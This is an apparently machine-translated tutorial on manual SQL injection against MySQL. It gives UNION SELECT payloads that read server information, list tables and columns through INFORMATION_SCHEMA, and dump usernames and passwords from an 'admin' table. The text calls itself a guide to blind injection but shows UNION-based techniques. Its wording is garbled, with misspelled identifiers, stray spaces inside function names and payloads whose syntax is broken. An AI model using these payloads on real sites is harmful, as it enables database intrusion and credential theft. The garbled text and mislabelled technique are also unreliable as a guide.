Simple Manual blind injection in mysql

Statement: Although there is a lot of information about manual blind injection of mysql on the Internet, most of the statements are too complicated.

Learn about the IFORMATION_SCHEMA library before learning blind note.

The built-in system database IFORMATION_SCHEMA of Mysql 5 is structured as the master database in MSSQL, which records all
There are database names, database tables, and table fields. It is important to study several data tables that are useful for SQL injection.
1. Get all database names:
| SCHEMATA-> tables that store database names
| --- Field: SCHEMA_NAME-> Database Name

| TABLES-> storage table name
| --- Field: TABLE_SCHEMA-> indicates the Database Name of the table.
| --- Field: TABLE_NAME-> name of the table to be stored

| COLUMNS-> storage field table
| --- Field: TABLE_SCHEMA-> Database Name of the field
| --- Field: TABLE_NAME-> name of the table to which the storage belongs

| --- Field: COLUMN_NAME-> name of the field

 

######################################## ###################################

0x001 obtain system information:

Union select 1, 2, 3, 4, 5, concat (@ global. version_compile_ OS, 0x3c62723e, @ datadir, 0x3c62723e, user (), 0x3c62723e, version () da tabase (), 0x3c62723e, database (), 7,8, 9 /*

/*

@ Global. version_compile_ OS obtain the system version

@ Datadir database path
Database () Current database Name
0x3c62723e wrap HEX Value

*/

 

######################################## ##############################

0x002 get table name

Union select 1, 2, group_concat (table_name), 4, 5, 6, 7, 8, 9 from information_schema.tables where table_schema = 0x67617264656e /*

 

/*

0x67617264656e is the name of the current database.

Group_concat (table_name) use the group_concat function to obtain all the table names of the database in one step.

*/

######################################## ##############################

 

0x003 get Fields

Union select 1, 2, group_concat (column_name), 4, 5, 6, 8, 9 from information_schema.columns where table_name = 0x61646d696e and table_schema = 0x67617264656e limit 1 /*

/*

Group_concat (column_name) also obtains all fields of the table (0x61646d696e) in one breath.

0x61646d696e-> select a table

0x67617264656e-> Database Name

*/

######################################## #############################

 

0x004 get data

Union select 1, 2, 3
, 4,5, concat (id, 0x3c62723e, adname, 0x3c62723e, adpassword), 6, 7, 8 from admin

Union select 1, group_concat (id), group_concat (adname), 4,5, group_concat (adpassword), 6,7, 8 from admin

 

/*

0x3c62723e line feed symbol HEX Encoding

Group_concat simultaneously obtains all data of this field

*/

 

BY: nginxshell